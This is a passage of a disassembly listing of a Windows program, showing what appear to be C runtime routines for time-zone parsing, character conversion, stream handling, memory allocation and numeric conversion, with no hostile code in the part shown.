[esp+14h+var_4], ebp jnz loc_420B9E mov eax, off_43C000 and byte ptr [eax+3Fh], 0 jmp loc_420BA6 ; --------------------------------------------------------------------------- loc_420A77: ; CODE XREF: sub_42094E+2Dj cmp byte ptr [esi], 0 jz loc_420BA6 mov eax, dword_48A2D4 cmp eax, ebp jz short loc_420A9A push eax push esi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_420BA6 loc_420A9A: ; CODE XREF: sub_42094E+139j push dword_48A2D4 call sub_417C3B push esi call sub_417AB0 inc eax push eax call sub_417B89 add esp, 0Ch cmp eax, ebp mov dword_48A2D4, eax jz loc_420BA6 push esi push eax call sub_4179C0 push 3 push esi push off_43BFFC call sub_418C10 mov eax, off_43BFFC add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_420AEF push 1 inc esi pop edi loc_420AEF: ; CODE XREF: sub_42094E+19Bj push esi call sub_417794 pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_43BF70, ecx loc_420B06: ; CODE XREF: sub_42094E+1C7j mov al, [esi] cmp al, 2Bh jz short loc_420B14 cmp al, bl jl short loc_420B17 cmp al, 39h jg short loc_420B17 loc_420B14: ; CODE XREF: sub_42094E+1BCj inc esi jmp short loc_420B06 ; --------------------------------------------------------------------------- loc_420B17: ; CODE XREF: sub_42094E+1C0j ; sub_42094E+1C4j cmp byte ptr [esi], 3Ah jnz short loc_420B6A inc esi push esi call sub_417794 imul eax, 3Ch pop ecx mov ecx, dword_43BF70 add ecx, eax mov dword_43BF70, ecx loc_420B35: ; CODE XREF: sub_42094E+1F2j mov al, [esi] cmp al, bl jl short loc_420B42 cmp al, 39h jg short loc_420B42 inc esi jmp short loc_420B35 ; --------------------------------------------------------------------------- loc_420B42: ; CODE XREF: sub_42094E+1EBj ; sub_42094E+1EFj cmp byte ptr [esi], 3Ah jnz short loc_420B6A inc esi push esi call sub_417794 pop ecx mov ecx, dword_43BF70 add ecx, eax mov dword_43BF70, ecx loc_420B5D: ; CODE XREF: sub_42094E+21Aj mov al, [esi] cmp al, bl jl short loc_420B6A cmp al, 39h jg short loc_420B6A inc esi jmp short loc_420B5D ; --------------------------------------------------------------------------- loc_420B6A: ; CODE XREF: sub_42094E+1CCj ; sub_42094E+1F7j ... cmp edi, ebp jz short loc_420B76 neg ecx mov dword_43BF70, ecx loc_420B76: ; CODE XREF: sub_42094E+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_43BF74, eax jz short loc_420B9E push 3 push esi push off_43C000 call sub_418C10 mov eax, off_43C000 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_420BA6 ; --------------------------------------------------------------------------- loc_420B9E: ; CODE XREF: sub_42094E+10Bj ; sub_42094E+115j ... mov eax, off_43C000 and byte ptr [eax], 0 loc_420BA6: ; CODE XREF: sub_42094E+40j ; sub_42094E+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_42094E endp ; =============== S U B R O U T I N E ======================================= sub_420BAC proc near ; CODE XREF: sub_41D609+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_43BF74, edi jnz short loc_420BC0 loc_420BB9: ; CODE XREF: sub_420BAC+148j ; sub_420BAC+150j ... xor eax, eax jmp loc_420D0C ; --------------------------------------------------------------------------- loc_420BC0: ; CODE XREF: sub_420BAC+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_43C008 jnz short loc_420BDE cmp eax, dword_43C018 jz loc_420CE0 loc_420BDE: ; CODE XREF: sub_420BAC+24j cmp dword_48A220, edi jz loc_420CB6 movzx ecx, word_48A2CE push ecx cmp word_48A2C0, di movzx ecx, word_48A2CC push ecx movzx ecx, word_48A2CA push ecx movzx ecx, word_48A2C8 push ecx jnz short loc_420C30 movzx ecx, word_48A2C4 push edi push ecx movzx ecx, word_48A2C6 push ecx movzx ecx, word_48A2C2 push ecx push eax push ebx jmp short loc_420C44 ; --------------------------------------------------------------------------- loc_420C30: ; CODE XREF: sub_420BAC+65j movzx ecx, word_48A2C6 push ecx push edi movzx ecx, word_48A2C2 push edi push ecx push eax push edi loc_420C44: ; CODE XREF: sub_420BAC+82j push ebx call sub_420D58 movzx eax, word_48A27A add esp, 2Ch cmp word_48A26C, di push eax movzx eax, word_48A278 push eax movzx eax, word_48A276 push eax movzx eax, word_48A274 push eax jnz short loc_420C9E movzx eax, word_48A270 push edi push eax movzx eax, word_48A272 push eax movzx eax, word_48A26E push eax push dword ptr [esi+14h] push ebx loc_420C93: ; CODE XREF: sub_420BAC+108j push edi call sub_420D58 add esp, 2Ch jmp short loc_420CE0 ; --------------------------------------------------------------------------- loc_420C9E: ; CODE XREF: sub_420BAC+C8j movzx eax, word_48A272 push eax push edi movzx eax, word_48A26E push edi push eax push dword ptr [esi+14h] push edi jmp short loc_420C93 ; --------------------------------------------------------------------------- loc_420CB6: ; CODE XREF: sub_420BAC+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_420D58 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_420D58 add esp, 58h loc_420CE0: ; CODE XREF: sub_420BAC+2Cj ; sub_420BAC+F0j mov edx, dword_43C00C mov eax, dword_43C01C mov ecx, [esi+1Ch] cmp edx, eax jge short loc_420D10 cmp ecx, edx jl loc_420BB9 cmp ecx, eax jg loc_420BB9 cmp ecx, edx jle short loc_420D24 cmp ecx, eax jge short loc_420D24 loc_420D0A: ; CODE XREF: sub_420BAC+166j ; sub_420BAC+16Aj mov eax, ebx loc_420D0C: ; CODE XREF: sub_420BAC+Fj ; sub_420BAC+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_420D10: ; CODE XREF: sub_420BAC+144j cmp ecx, eax jl short loc_420D0A cmp ecx, edx jg short loc_420D0A cmp ecx, eax jle short loc_420D24 cmp ecx, edx jl loc_420BB9 loc_420D24: ; CODE XREF: sub_420BAC+158j ; sub_420BAC+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_420D4B xor ecx, ecx cmp eax, dword_43C010 setnl cl loc_420D47: ; CODE XREF: sub_420BAC+1AAj mov eax, ecx jmp short loc_420D0C ; --------------------------------------------------------------------------- loc_420D4B: ; CODE XREF: sub_420BAC+18Ej xor ecx, ecx cmp eax, dword_43C020 setl cl jmp short loc_420D47 sub_420BAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420D58 proc near ; CODE XREF: sub_420BAC+99p ; sub_420BAC+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_420DF3 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_420D83 shl esi, 2 mov eax, dword_43C020[esi] jmp short loc_420D8C ; --------------------------------------------------------------------------- loc_420D83: ; CODE XREF: sub_420D58+1Ej shl esi, 2 mov eax, dword_43C054[esi] loc_420D8C: ; CODE XREF: sub_420D58+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_420DC6 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_420DD0 ; --------------------------------------------------------------------------- loc_420DC6: ; CODE XREF: sub_420D58+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_420DD0: ; CODE XREF: sub_420D58+6Cj cmp [ebp+arg_10], 5 jnz short loc_420E0E cmp [ebp+arg_8], 0 jnz short loc_420DE4 mov esi, dword_43C024[esi] jmp short loc_420DEA ; --------------------------------------------------------------------------- loc_420DE4: ; CODE XREF: sub_420D58+82j mov esi, dword_43C058[esi] loc_420DEA: ; CODE XREF: sub_420D58+8Aj cmp ecx, esi jle short loc_420E0E sub ecx, 7 jmp short loc_420E0E ; --------------------------------------------------------------------------- loc_420DF3: ; CODE XREF: sub_420D58+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_420E04 mov ecx, dword_43C020[eax*4] jmp short loc_420E0B ; --------------------------------------------------------------------------- loc_420E04: ; CODE XREF: sub_420D58+A1j mov ecx, dword_43C054[eax*4] loc_420E0B: ; CODE XREF: sub_420D58+AAj add ecx, [ebp+arg_18] loc_420E0E: ; CODE XREF: sub_420D58+7Cj ; sub_420D58+94j ... cmp [ebp+arg_0], 1 jnz short loc_420E3F mov eax, [ebp+arg_1C] mov dword_43C00C, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_43C008, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43C010, eax jmp short loc_420E94 ; --------------------------------------------------------------------------- loc_420E3F: ; CODE XREF: sub_420D58+BAj mov eax, [ebp+arg_1C] mov dword_43C01C, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_43BF78 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43C020, eax jns short loc_420E77 add eax, 5265C00h dec ecx mov dword_43C020, eax jmp short loc_420E88 ; --------------------------------------------------------------------------- loc_420E77: ; CODE XREF: sub_420D58+110j mov edx, 5265C00h cmp eax, edx jl short loc_420E8E sub eax, edx inc ecx mov dword_43C020, eax loc_420E88: ; CODE XREF: sub_420D58+11Dj mov dword_43C01C, ecx loc_420E8E: ; CODE XREF: sub_420D58+126j mov dword_43C018, ebx loc_420E94: ; CODE XREF: sub_420D58+E5j pop esi pop ebx pop ebp retn sub_420D58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420E98 proc near ; CODE XREF: sub_41D797+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_420EBB cmp [ebp+arg_8], ebx jz short loc_420EBB mov al, [esi] cmp al, bl jnz short loc_420EC1 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_420EBB mov [eax], bx loc_420EBB: ; CODE XREF: sub_420E98+Cj ; sub_420E98+11j ... xor eax, eax loc_420EBD: ; CODE XREF: sub_420E98+42j ; sub_420E98+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_420EC1: ; CODE XREF: sub_420E98+17j cmp dword_48A0A8, ebx jnz short loc_420EDC mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_420ED7 movzx ax, al mov [ecx], ax loc_420ED7: ; CODE XREF: sub_420E98+36j ; sub_420E98+C0j push 1 pop eax jmp short loc_420EBD ; --------------------------------------------------------------------------- loc_420EDC: ; CODE XREF: sub_420E98+2Fj mov ecx, off_4395A0 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_420F39 mov eax, dword_4397AC cmp eax, 1 jle short loc_420F20 cmp [ebp+arg_8], eax jl short loc_420F2A xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_48A0B8 call near ptr 2600000h nop test eax, eax mov eax, dword_4397AC jnz short loc_420EBD loc_420F20: ; CODE XREF: sub_420E98+5Cj cmp [ebp+arg_8], eax jb short loc_420F2A cmp [esi+1], bl jnz short loc_420EBD loc_420F2A: ; CODE XREF: sub_420E98+61j ; sub_420E98+8Bj ... mov dword_48A014, 2Ah or eax, 0FFFFFFFFh jmp short loc_420EBD ; --------------------------------------------------------------------------- loc_420F39: ; CODE XREF: sub_420E98+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_48A0B8 nop call near ptr 2600000h test eax, eax jnz loc_420ED7 jmp short loc_420F2A sub_420E98 endp ; =============== S U B R O U T I N E ======================================= sub_420F60 proc near ; CODE XREF: sub_41D797+76p ; sub_41D797+88p ... arg_0 = dword ptr 4 cmp dword_4397AC, 1 jle short loc_420F77 push 8 push [esp+4+arg_0] call sub_41A642 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_420F77: ; CODE XREF: sub_420F60+7j mov eax, [esp+arg_0] mov ecx, off_4395A0 mov al, [ecx+eax*2] and eax, 8 retn sub_420F60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_420F90 proc near ; CODE XREF: sub_41D797+797p ; sub_41D797+7E7p cmp cl, 40h jnb short loc_420FAA cmp cl, 20h jnb short loc_420FA0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_420FA0: ; CODE XREF: sub_420F90+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_420FAA: ; CODE XREF: sub_420F90+3j xor eax, eax xor edx, edx retn sub_420F90 endp ; =============== S U B R O U T I N E ======================================= sub_420FAF proc near ; CODE XREF: sub_41E20D+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_420FFB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_420FCD test al, 80h jz short loc_420FFB test al, 2 jnz short loc_420FFB loc_420FCD: ; CODE XREF: sub_420FAF+14j cmp dword ptr [esi+8], 0 jnz short loc_420FDA push esi call sub_41F9D8 pop ecx loc_420FDA: ; CODE XREF: sub_420FAF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_420FEA cmp dword ptr [esi+4], 0 jnz short loc_420FFB inc eax mov [esi], eax loc_420FEA: ; CODE XREF: sub_420FAF+30j test byte ptr [esi+0Ch], 40h jz short loc_421001 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_421007 inc eax mov [esi], eax loc_420FFB: ; CODE XREF: sub_420FAF+9j ; sub_420FAF+18j ... or eax, 0FFFFFFFFh loc_420FFE: ; CODE XREF: sub_420FAF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_421001: ; CODE XREF: sub_420FAF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_421007: ; CODE XREF: sub_420FAF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_420FFE sub_420FAF endp ; =============== S U B R O U T I N E ======================================= sub_42101D proc near ; CODE XREF: ___:0041F15Ap arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_42102E add esp, 0Ch retn sub_42101D endp ; =============== S U B R O U T I N E ======================================= sub_42102E proc near ; CODE XREF: sub_42101D+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_48B561[eax], cl jnz short loc_42105B cmp [esp+arg_4], 0 jz short loc_421054 movzx eax, word_4395AA[eax*2] and eax, [esp+arg_4] jmp short loc_421056 ; --------------------------------------------------------------------------- loc_421054: ; CODE XREF: sub_42102E+16j xor eax, eax loc_421056: ; CODE XREF: sub_42102E+24j test eax, eax jnz short loc_42105B retn ; --------------------------------------------------------------------------- loc_42105B: ; CODE XREF: sub_42102E+Fj ; sub_42102E+2Aj push 1 pop eax retn sub_42102E endp ; =============== S U B R O U T I N E ======================================= sub_42105F proc near ; CODE XREF: sub_41F885+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_48A2DC, ebx push esi push edi jnz short loc_4210AE push offset aUser32_dll ; "user32.dll" call near ptr 26E0000h nop mov edi, eax cmp edi, ebx jz short loc_4210E4 mov esi, dword_4240DC push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_48A2DC, eax jz short loc_4210E4 push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_48A2E0, eax call esi mov dword_48A2E4, eax loc_4210AE: ; CODE XREF: sub_42105F+Bj mov eax, dword_48A2E0 test eax, eax jz short loc_4210CD call eax mov ebx, eax test ebx, ebx jz short loc_4210CD mov eax, dword_48A2E4 test eax, eax jz short loc_4210CD push ebx call eax mov ebx, eax loc_4210CD: ; CODE XREF: sub_42105F+56j ; sub_42105F+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_48A2DC loc_4210E0: ; CODE XREF: sub_42105F+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4210E4: ; CODE XREF: sub_42105F+1Cj ; sub_42105F+33j xor eax, eax jmp short loc_4210E0 sub_42105F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4210E8 proc near ; CODE XREF: sub_41FA42+22p ; sub_41FA42+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_421109 test esi, esi jnz short loc_421103 push 1 pop esi loc_421103: ; CODE XREF: sub_4210E8+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_421109: ; CODE XREF: sub_4210E8+12j ; sub_4210E8+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_421168 mov eax, dword_48B688 cmp eax, 3 jnz short loc_421134 mov eax, [ebp+arg_0] cmp eax, dword_48B680 ja short loc_421153 push eax call sub_41B0DD mov edi, eax pop ecx test edi, edi jnz short loc_42117E jmp short loc_421153 ; --------------------------------------------------------------------------- loc_421134: ; CODE XREF: sub_4210E8+30j cmp eax, 2 jnz short loc_421153 cmp esi, dword_43B7E4 ja short loc_421153 mov eax, esi shr eax, 4 push eax call sub_41BB80 mov edi, eax pop ecx test edi, edi jnz short loc_421192 loc_421153: ; CODE XREF: sub_4210E8+3Bj ; sub_4210E8+4Aj ... push esi push 8 push dword_48B684 nop call near ptr 26F0000h mov edi, eax test edi, edi jnz short loc_42118C loc_421168: ; CODE XREF: sub_4210E8+26j cmp dword_48A074, 0 jz short loc_42118C push esi call sub_41AB54 test eax, eax pop ecx jz short loc_421195 jmp short loc_421109 ; --------------------------------------------------------------------------- loc_42117E: ; CODE XREF: sub_4210E8+48j push [ebp+arg_0] loc_421181: ; CODE XREF: sub_4210E8+ABj push 0 push edi call sub_417330 add esp, 0Ch loc_42118C: ; CODE XREF: sub_4210E8+7Ej ; sub_4210E8+87j mov eax, edi loc_42118E: ; CODE XREF: sub_4210E8+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_421192: ; CODE XREF: sub_4210E8+69j push esi jmp short loc_421181 ; --------------------------------------------------------------------------- loc_421195: ; CODE XREF: sub_4210E8+92j xor eax, eax jmp short loc_42118E sub_4210E8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41FAE7 loc_421199: ; CODE XREF: sub_41FAE7+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_48B320, esi jle short loc_4211EC loc_4211A8: ; CODE XREF: sub_41FAE7+1703j mov eax, dword_48A310 mov eax, [eax+esi*4] test eax, eax jz short loc_4211E3 test byte ptr [eax+0Ch], 83h jz short loc_4211C7 push eax call sub_417900 cmp eax, 0FFFFFFFFh pop ecx jz short loc_4211C7 inc edi loc_4211C7: ; CODE XREF: sub_41FAE7+16D1j ; sub_41FAE7+16DDj cmp esi, 14h jl short loc_4211E3 mov eax, dword_48A310 push dword ptr [eax+esi*4] call sub_417C3B mov eax, dword_48A310 pop ecx and dword ptr [eax+esi*4], 0 loc_4211E3: ; CODE XREF: sub_41FAE7+16CBj ; sub_41FAE7+16E3j inc esi cmp esi, dword_48B320 jl short loc_4211A8 loc_4211EC: ; CODE XREF: sub_41FAE7+16BFj mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_41FAE7 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4211F1 proc near ; CODE XREF: sub_41FEC6+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_417B30 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_48B440 jnb loc_421326 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_48B340[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_421326 push 1 push esi push ebx call sub_41E517 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_421330 push 2 push esi push ebx call sub_41E517 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_421330 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_4212D3 push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_417330 push 8000h push ebx call sub_421E2B add esp, 14h mov [ebp+arg_4], eax loc_421287: ; CODE XREF: sub_4211F1+BDj mov eax, 1000h cmp edi, eax jge short loc_421292 mov eax, edi loc_421292: ; CODE XREF: sub_4211F1+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_41ED97 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_4212B0 sub edi, eax test edi, edi jle short loc_4212C6 jmp short loc_421287 ; --------------------------------------------------------------------------- loc_4212B0: ; CODE XREF: sub_4211F1+B5j cmp dword_48A018, 5 jnz short loc_4212C3 mov dword_48A014, 0Dh loc_4212C3: ; CODE XREF: sub_4211F1+C6j or esi, 0FFFFFFFFh loc_4212C6: ; CODE XREF: sub_4211F1+BBj push [ebp+arg_4] push ebx call sub_421E2B pop ecx pop ecx jmp short loc_421313 ; --------------------------------------------------------------------------- loc_4212D3: ; CODE XREF: sub_4211F1+71j jge short loc_421313 push 0 push [ebp+arg_4] push ebx call sub_41E517 push ebx call sub_41FE32 add esp, 10h push eax call near ptr 2590000h nop mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_421313 mov dword_48A014, 0Dh call near ptr 2630B7Ah nop mov dword_48A018, eax loc_421313: ; CODE XREF: sub_4211F1+E0j ; sub_4211F1:loc_4212D3j ... push 0 push [ebp+arg_0] push ebx call sub_41E517 add esp, 0Ch mov eax, esi pop edi jmp short loc_421333 ; --------------------------------------------------------------------------- loc_421326: ; CODE XREF: sub_4211F1+1Aj ; sub_4211F1+36j mov dword_48A014, 9 loc_421330: ; CODE XREF: sub_4211F1+4Ej ; sub_4211F1+63j or eax, 0FFFFFFFFh loc_421333: ; CODE XREF: sub_4211F1+133j pop esi pop ebx leave retn sub_4211F1 endp ; =============== S U B R O U T I N E ======================================= sub_421337 proc near ; CODE XREF: sub_420331+2Bp ; sub_420331+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_42134D cmp ecx, esi jnb short loc_421350 loc_42134D: ; CODE XREF: sub_421337+10j push 1 pop eax loc_421350: ; CODE XREF: sub_421337+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_421337 endp ; =============== S U B R O U T I N E ======================================= sub_421358 proc near ; CODE XREF: sub_421411+40p ; sub_421411+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_421337 add esp, 0Ch test eax, eax jz short loc_42138A lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_421337 add esp, 0Ch test eax, eax jz short loc_42138A inc dword ptr [esi+8] loc_42138A: ; CODE XREF: sub_421358+19j ; sub_421358+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_421337 add esp, 0Ch test eax, eax jz short loc_4213A2 inc dword ptr [esi+8] loc_4213A2: ; CODE XREF: sub_421358+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_421337 add esp, 0Ch pop edi pop esi retn sub_421358 endp ; =============== S U B R O U T I N E ======================================= sub_4213B6 proc near ; CODE XREF: sub_421411+30p ; sub_421411+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_4213B6 endp ; =============== S U B R O U T I N E ======================================= sub_4213E4 proc near ; CODE XREF: sub_4219A9+1C8p ; sub_421EA1+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4213E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421411 proc near ; CODE XREF: sub_4214D8+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_421485 push edi mov [ebp+arg_8], eax loc_421438: ; CODE XREF: sub_421411+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_4213B6 push ebx call sub_4213B6 lea eax, [ebp+var_10] push eax push ebx call sub_421358 push ebx call sub_4213B6 mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_421358 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_421438 xor edx, edx pop edi loc_421485: ; CODE XREF: sub_421411+21j ; sub_421411+9Fj cmp [ebx+8], edx jnz short loc_4214B2 mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_421485 ; --------------------------------------------------------------------------- loc_4214B2: ; CODE XREF: sub_421411+77j mov esi, 8000h loc_4214B7: ; CODE XREF: sub_421411+B9j test [ebx+8], esi jnz short loc_4214CC push ebx call sub_4213B6 add [ebp+var_4], 0FFFFh pop ecx jmp short loc_4214B7 ; --------------------------------------------------------------------------- loc_4214CC: ; CODE XREF: sub_421411+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_421411 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4214D8 proc near ; CODE XREF: sub_42067A+17p ; sub_4206A7+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_421513: ; CODE XREF: sub_4214D8+52j mov cl, [edi] cmp cl, 20h jz short loc_421529 cmp cl, 9 jz short loc_421529 cmp cl, 0Ah jz short loc_421529 cmp cl, 0Dh jnz short loc_42152C loc_421529: ; CODE XREF: sub_4214D8+40j ; sub_4214D8+45j ... inc edi jmp short loc_421513 ; --------------------------------------------------------------------------- loc_42152C: ; CODE XREF: sub_4214D8+4Fj push 4 pop esi loc_42152F: ; CODE XREF: sub_4214D8+AEj ; sub_4214D8+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_4217B2 ; default ; jumptable 0042153B case 10 jmp off_421979[eax*4] ; switch 